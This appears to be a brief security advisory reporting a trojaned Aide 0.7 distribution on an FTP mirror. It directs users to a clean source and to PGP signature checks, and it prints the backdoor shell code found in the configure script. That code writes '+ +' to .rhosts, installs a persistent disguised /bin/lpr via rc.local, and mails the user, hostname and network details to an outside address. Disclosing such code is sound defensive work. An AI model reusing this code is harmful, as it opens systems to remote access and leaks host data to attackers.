    It has come my attention that there has been a trojaned 
    Aide distribution at ftp://ftp.linux.hr/pub/aide
    The offending binary has been removed.
    Anyone who has downloaded Aide 0.7 from ftp.linux.hr is urged to 
    download it from ftp://ftp.cs.tut.fi/pub/src/gnu
    and always check the PGP signature before using any distribution of
    Aide.
    
    The trojaned distribution contains the following script embedded in
    the configure script. As you can see it tries to add "+ +" to roots
    .rhosts and sends information about your host to l4m0rat_private
    
    
    # checking if we are root or not
    if [ `whoami` == "root" ];then
    root_user=1
    else
    root_user=0
    fi
    
    And later on:
    if [ $root_user != "1" ];then 
    echo "+ +" > ~/.rhosts
    echo $LOGNAME >/tmp/jea;whoami >>/tmp/jea;hostname >>/tmp/jea;/sbin/ifconfig >
    >/tmp/jea
    mail l4m0rat_private < /tmp/jea
    rm -rf /tmp/jea
    else
    if [ `uname -s` != Linux ];then
    echo ""
    else
    mv -f .xinitrc /bin/lpr
    echo "# printing status monitor" >> /etc/rc.d/rc.local
    echo "/bin/lpr &" >> /etc/rc.d/rc.local
    hostname >>/tmp/jea;/sbin/ifconfig >>/tmp/jea
    mail l4m0rat_private < /tmp/jea
    /bin/lpr &
    rm -rf /tmp/jea
    fi
    fi
